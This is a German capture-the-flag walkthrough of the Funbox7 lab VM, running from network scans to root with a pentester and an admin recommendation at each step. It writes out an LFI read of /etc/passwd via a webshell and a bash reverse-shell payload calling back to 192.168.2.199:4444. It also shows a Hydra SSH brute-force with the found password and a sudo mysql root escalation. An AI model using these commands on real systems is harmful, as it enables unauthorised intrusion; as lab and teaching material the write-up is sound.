192.168.2.129 08:00:27:60:6e:c1 PCS Systemtechnik GmbH
Analyse: `arp-scan -l` wird verwendet, um aktive Geräte im lokalen Netzwerk zu finden.
Bewertung: Der Host `192.168.2.129` (VirtualBox VM) wird als Ziel "Funbox7 - EasyEnum" identifiziert.
Empfehlung (Pentester): Verwende `192.168.2.129` als Ziel-IP.
Empfehlung (Admin): Netzwerk-Monitoring.
192.168.2.129 funbox7.vln
Analyse: Lokale `/etc/hosts` wird bearbeitet, um `192.168.2.129` den Namen `funbox7.vln` zuzuordnen.
Bewertung: Erleichtert die Ansprache des Ziels.
Empfehlung (Pentester): Hostnamen `funbox7.vln` verwenden.
Empfehlung (Admin): Lokale Angreifer-Konfiguration.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-01 01:38 CEST Nmap scan report for funbox7.vln (192.168.2.129) Host is up (0.00013s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: [...] 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-title: Apache2 Ubuntu Default Page: It works |_http-server-header: Apache/2.4.29 (Ubuntu) MAC Address: 08:00:27:60:6E:C1 (Oracle VirtualBox virtual NIC) [...] OS details: Linux 4.15 - 5.6 [...] Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.12 ms funbox7.vln (192.168.2.129) [...]
Analyse: Der Nmap-Scan (`-A` für OS/Version/Skripte/Traceroute) identifiziert zwei offene Ports:
Bewertung: Die Angriffsfläche ist auf SSH und HTTP beschränkt. Beide Versionen sind nicht die aktuellsten.
Empfehlung (Pentester): Führe detaillierte Web-Enumeration auf Port 80 durch. Recherchiere Schwachstellen für OpenSSH 7.6p1 und Apache 2.4.29.
Empfehlung (Admin): Aktualisiere SSH und Apache.
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Analyse: Bestätigt die offenen Ports 22 und 80.
Bewertung: Schnellübersicht.
Empfehlung (Pentester/Admin): Siehe vorheriger Nmap-Scan.
- Nikto v2.5.0 [...] + Target IP: 192.168.2.129 + Target Hostname: 192.168.2.129 + Target Port: 80 + Start Time: 2023-08-01 01:38:17 (GMT2) [...] + Server: Apache/2.4.29 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. [...] + /: The X-Content-Type-Options header is not set. [...] + /robots.txt: contains 1 entry which should be manually viewed. [...] + Apache/2.4.29 appears to be outdated [...]. + /: Server may leak inodes via ETags [...] + OPTIONS: Allowed HTTP Methods: POST, OPTIONS, HEAD, GET . + /secret/: This might be interesting. + /icons/README: Apache default file found. [...] + /phpmyadmin/: phpMyAdmin directory found. [...] + End Time: 2023-08-01 01:38:36 (GMT2) (19 seconds) [...]
Analyse: `nikto` scannt Port 80 und findet: * Veralteten Apache 2.4.29. * Fehlende Sicherheitsheader. * Eine `robots.txt`. * Mögliches Inode-Leak. * Potenziell interessante Verzeichnisse: `/secret/` und `/phpmyadmin/`. * Standard-Datei `/icons/README`. **Datum extrahiert:** 2023-08-01.
Bewertung: Bestätigt den veralteten Webserver. `/robots.txt`, `/secret/` und `/phpmyadmin/` sind die wichtigsten Ziele für die weitere Enumeration.
Empfehlung (Pentester): Untersuche `robots.txt`. Führe Verzeichnis-Scans durch, insbesondere auf `/secret/` und `/phpmyadmin/`. Suche nach Standard-Credentials oder Schwachstellen für phpMyAdmin.
Empfehlung (Admin): Aktualisiere Apache. Implementiere Sicherheitsheader. Sichere `/phpmyadmin/` und andere sensible Verzeichnisse.
[...] http://funbox7.vln/index.html (Status: 200) [Size: 10918] http://funbox7.vln/javascript (Status: 301) [Size: 315] [--> http://funbox7.vln/javascript/] http://funbox7.vln/mini.php (Status: 200) [Size: 4443] http://funbox7.vln/robots.txt (Status: 200) [Size: 21] http://funbox7.vln/secret (Status: 301) [Size: 311] [--> http://funbox7.vln/secret/] [...]
Analyse: `gobuster` findet `index.html`, `robots.txt`, `/javascript/`, `/secret/` (bestätigt Nikto) und eine interessante Datei `mini.php`.
Bewertung: Die Datei `mini.php` und das Verzeichnis `/secret/` sind die wichtigsten Funde. `mini.php` könnte eine Webshell oder eine anfällige Anwendung sein.
Empfehlung (Pentester): Untersuche `robots.txt`, `/secret/` und `mini.php` genauer.
Empfehlung (Admin): Entferne ungewollte Skripte (`mini.php`). Schütze Verzeichnisse (`/secret/`).
# Inhalt von http://funbox7.vln/robots.txt User-agent: * Allow: Thinking # Inhalt von http://funbox7.vln/secret/ harrysallygoatoraclelissy # Zugriff auf http://funbox7.vln/mini.php Mini Shell Direktori : /var/www/html/ Upload File : Current File : /var/www/html/mini.php [...] # Quellcode-Auszug von mini.php (impliziert durch LFI-Versuch) if(isset($_GET['path'])){ $path = $_GET['path']; if(isset($_GET['filesrc'])){ echo $_GET['filesrc']; if(isset($_GET['option']) && $_POST['opt'] == 'delete'){ [...]
Analyse: * `robots.txt`: Enthält nur "Allow: Thinking". * `/secret/`: Zeigt die Zeichenkette "harrysallygoatoraclelissy" (potenzielle Benutzernamen). * `mini.php`: Ist eine Webshell ("Zerion Mini Shell 1.0"), die mindestens LFI über den `filesrc`-Parameter erlaubt.
Bewertung: Die Benutzernamen aus `/secret/` und die LFI-fähige Webshell `mini.php` sind die entscheidenden Funde.
Empfehlung (Pentester): Nutze die LFI in `mini.php` (`?filesrc=...`), um `/etc/passwd` zu lesen und die Benutzernamen zu bestätigen. Versuche weitere Dateien (SSH-Schlüssel, Konfigurationsdateien) zu lesen. Prüfe, ob `mini.php` auch Upload oder RCE ermöglicht.
Empfehlung (Admin): Entferne `mini.php`. Sichere `/secret/`. Validiere Benutzereingaben serverseitig.
# LFI Versuch mit mini.php
# http://funbox7.vln/mini.php?filesrc=/etc/passwd
Mini Shell
[...]
Current File : /etc/passwd
root:x:0:0:root:/root:/bin/bash
[...]
karla:x:1000:1000:karla:/home/karla:/bin/bash
harry:x:1001:1001:,,,:/home/harry:/bin/bash
sally:x:1002:1002:,,,:/home/sally:/bin/bash
goat:x:1003:1003:,,,:/home/goat:/bin/bash
oracle:$1$|@GeN\$PGb9VNu29e9s6dMNJKH/R0:1004:1004:,,,:/home/oracle:/bin/bash
lissy:x:1005:1005:/home/lissy:/bin/sh
[...]
Zerion Mini Shell 1.0
Current File : /etc/passwd
root:x:0:0:root:/root:/bin/bash
karla:x:1000:1000:karla:/home/karla:/bin/bash
harry:x:1001:1001:,,,:/home/harry:/bin/bash
sally:x:1002:1002:,,,:/home/sally:/bin/bash
goat:x:1003:1003:,,,:/home/goat:/bin/bash
oracle:$1$|@GeN\$PGb9VNu29e9s6dMNJKH/R0:1004:1004:,,,:/home/oracle:/bin/bash
Analyse: Die LFI-Schwachstelle in `mini.php` wird genutzt, um `/etc/passwd` auszulesen. Die Ausgabe bestätigt die zuvor gefundenen Benutzernamen und zeigt, dass `oracle` einen MD5-Crypt-Hash (`$1$...`) als Passwort hat.
Bewertung: LFI bestätigt. Benutzerliste verifiziert. Passwort-Hash für `oracle` gefunden.
Empfehlung (Pentester):
1. Versuche den Hash für `oracle` zu knacken.
2. Versuche, SSH-Schlüssel für die anderen Benutzer (`harry`, `sally`, `goat`, `lissy`, `karla`) via LFI auszulesen.
3. Prüfe, ob `mini.php` Upload/RCE erlaubt (wie im nächsten Schritt impliziert).
Empfehlung (Admin): Entferne `mini.php`. Verwende keine MD5-Hashes.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Analyse: Eine einfache PHP-Webshell (`cmd.php`), die Systembefehle über den `cmd`-Parameter ausführt, wird erstellt und (vermutlich über eine Upload-Funktion in `mini.php` oder eine andere Lücke) in das Web-Root-Verzeichnis hochgeladen. Ein Testaufruf bestätigt die RCE als `www-data`.
Bewertung: RCE als `www-data` wurde erreicht.
Empfehlung (Pentester): Nutze die RCE, um eine Reverse Shell zu erhalten.
Empfehlung (Admin): Entferne `mini.php` und `cmd.php`. Behebe die zugrundeliegende Schwachstelle.
listening on [any] 4444 ...
# Payload URL: http://funbox7.vln/cmd.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.129] 43032 bash: cannot set terminal process group (1097): Inappropriate ioctl for device bash: no job control in this shell www-data@funbox7:/var/www/html$
Analyse: Ein Netcat-Listener wird gestartet. Eine Bash-Reverse-Shell-Payload wird über die `cmd.php`-Webshell ausgeführt. Der Listener empfängt die Verbindung und liefert eine Shell als `www-data`.
Bewertung: Der initiale Zugriff als `www-data` wurde über RCE und eine Reverse Shell erreicht.
Empfehlung (Pentester): Beginne mit der Enumeration für Privilege Escalation.
Empfehlung (Admin): Behebe die RCE-Schwachstelle. Implementiere Egress-Filterung.
130102 44 -rwsr-xr-x 1 root root 44664 Mar 22 2019 /bin/su [...] 132774 148 -rwsr-xr-x 1 root root 149080 Jan 31 2020 /usr/bin/sudo [...] 132669 24 -rwsr-xr-x 1 root root 22520 Mar 27 2019 /usr/bin/pkexec [...]
Analyse: SUID-Scan als `www-data`.
Bewertung: Findet Standard-Binaries, darunter `/bin/su`, `/usr/bin/sudo`, `/usr/bin/pkexec`.
Empfehlung (Pentester): Prüfe `sudo -l` (unwahrscheinlich für www-data). Prüfe Kernel (`uname -a`) und `pkexec`-Version auf PwnKit-Anfälligkeit. Suche nach anderen Vektoren, z.B. Passwort-Brute-Force gegen die gefundenen User.
Empfehlung (Admin): System patchen, SUID-Berechtigungen prüfen.
goat harry karla oracle sally
karla is really not a part of this CTF !
Analyse: Home-Verzeichnisse werden aufgelistet. Der Benutzer `karla` wird als irrelevant markiert.
Bewertung: Bestätigt die Benutzerliste aus `/etc/passwd`.
Empfehlung (Pentester): Konzentriere dich auf die anderen Benutzer (`goat`, `harry`, `oracle`, `sally`, `lissy`).
Empfehlung (Admin): Keine neuen Erkenntnisse.
Hydra [...] starting at 2023-08-01 02:09:14
[...]
[22][ssh] host: 192.168.2.129 login: goat password: thebest
1 of 1 target successfully completed, 1 valid password found
[...]
Analyse: Hydra wird verwendet, um das SSH-Passwort für den Benutzer `goat` (aus `/secret/` oder `/etc/passwd`) zu brute-forcen.
Bewertung: Hydra findet erfolgreich das Passwort `thebest` für `goat`.
Empfehlung (Pentester): Melde dich als `goat` per SSH an.
Empfehlung (Admin): Starke Passwörter erzwingen, Brute-Force-Schutz implementieren.
[...]
goat@192.168.2.129's password: thebest
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-117-generic x86_64)
[...]
goat@funbox7$
Analyse: Erfolgreicher SSH-Login als `goat` mit dem Passwort `thebest`.
Bewertung: Horizontale Bewegung zum Benutzer `goat` war erfolgreich.
Empfehlung (Pentester): Führe `sudo -l` als `goat` aus.
Empfehlung (Admin): Ändere das kompromittierte Passwort.
Matching Defaults entries for goat on funbox7: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User goat may run the following commands on funbox7: (root) NOPASSWD: /usr/bin/mysql
Analyse: `sudo -l` für `goat` wird ausgeführt.
Bewertung: **Kritischer Fund!** Benutzer `goat` darf `/usr/bin/mysql` als `root` ohne Passwort (`NOPASSWD`) ausführen. Dies ist ein klarer PE-Vektor.
Empfehlung (Pentester): Nutze die `mysql`-Berechtigung zur Privilege Escalation: `sudo mysql -e '\! /bin/sh'`.
Empfehlung (Admin): **Dringend!** Entferne die unsichere `sudo`-Regel.
Analyse: Die Privilege Escalation erfolgt durch Missbrauch der `sudo`-Regel, die dem Benutzer `goat` erlaubt, den MySQL-Client (`/usr/bin/mysql`) als `root` ohne Passwort auszuführen. Der MySQL-Client erlaubt das Ausführen von externen Shell-Befehlen mittels `\!`.
Bewertung: Die unsichere `sudo`-Regel für `mysql` ermöglicht eine einfache und direkte Privilege Escalation.
Empfehlung (Pentester): GTFOBins ist eine gute Ressource, um die Ausnutzung solcher `sudo`-Rechte zu recherchieren.
Empfehlung (Admin): Sei extrem vorsichtig bei der Vergabe von `sudo`-Rechten für interaktive Programme. Beschränke Befehle und Argumente oder verwende spezifischere Admin-Tools.
uid=0(root) gid=0(root) groups=0(root)
Analyse: Der Befehl `sudo mysql -e '\! /bin/sh'` wird als `goat` ausgeführt. Dies startet den MySQL-Client als `root` und führt sofort den Shell-Befehl `/bin/sh` aus, was eine Root-Shell ergibt.
Bewertung: Die Privilege Escalation mittels `sudo mysql` war erfolgreich.
Empfehlung (Pentester): Suche die Root-Flag.
Empfehlung (Admin): Entferne die `sudo mysql`-Regel.
html.tar.gz root.flag script.sh
█████▒ █ ██ ███▄ █ ▄▄▄▄ ▒█████ ▒██ ██▒ ▓██ ▒ ██ ▓██▒ ██ ▀█ █ ▓█████▄ ▒██▒ ██▒▒▒ █ █ ▒ ▒████ ▓██ ▒██▓██ ▀█ ██▒▒██▒ ▄██▒██ ██▒ █ ▓█▒ ▓▓█ ██▓██▒ ▐▌██▒▒███▀ ▒██ ██ █ █ ▒ ▒█ ▒▒█████▓ ▒██ ▓██▓█ ▀█▓ ████▓▒▒██▒ ▒██▒ ▒ ▒▓▒ ▒ ▒ ▒ ▒ ▒ ▒▓███▀▒ ▒▒▒ ▒▒ ▓ ▒ ▒▒▒ ▒ ▒ ▒ ▒ ▓█████ ▄▄▄ ██████ ▓██ ██▓▓█████ ███▄ █ █ ██ ███▄ ▄███▓ ▓█ ▀ ▒████▄ ▒██ ▒ ▒██ ██▒▓█ ▀ ██ ▀█ █ ██ ▓██▒▓██▒▀█▀ ██▒ ▒███ ▒██ ▀█▄ ▓██▄ ▒██ ██▒███ ▓██ ▀█ ██▒▓██ ▒██▓██ ▓██ ▒▓█ ▄ ██▄▄▄▄██ ▒ ██▒ ▐██▓▒▓█ ▄ ▓██▒ ▐▌██▒▓▓█ ██▒██ ▒██ ▒████▒ ▓█ ▓██▒▒██████▒▒ ██▒▓▒████▒▒██ ▓██▒▒█████▓ ▒██▒ ██▒ ▒ ▒▒ ▓▒█▒ ▒▓▒ ▒ ██▒▒▒ ▒ ▒ ▒ ▒ ▒▓▒ ▒ ▒ ▒ ▒ ▒▒ ▒ ▓██ ▒ ▒▒ ▒ ▒ ▒ ...solved ! Please, tweet this screenshot to @0815R2d2. Many thanks in advance.
Analyse: Als `root` wird das `/root`-Verzeichnis aufgelistet. Die Datei `root.flag` wird gefunden und ihr Inhalt angezeigt.
Bewertung: Die Root-Flag (ASCII-Art und Nachricht) wurde erfolgreich gefunden.
Empfehlung (Pentester): Dokumentiere die Flag. Suche die User-Flag (vermutlich `/home/goat/user.txt`).
Empfehlung (Admin): Keine spezifische Aktion bezüglich der Flag.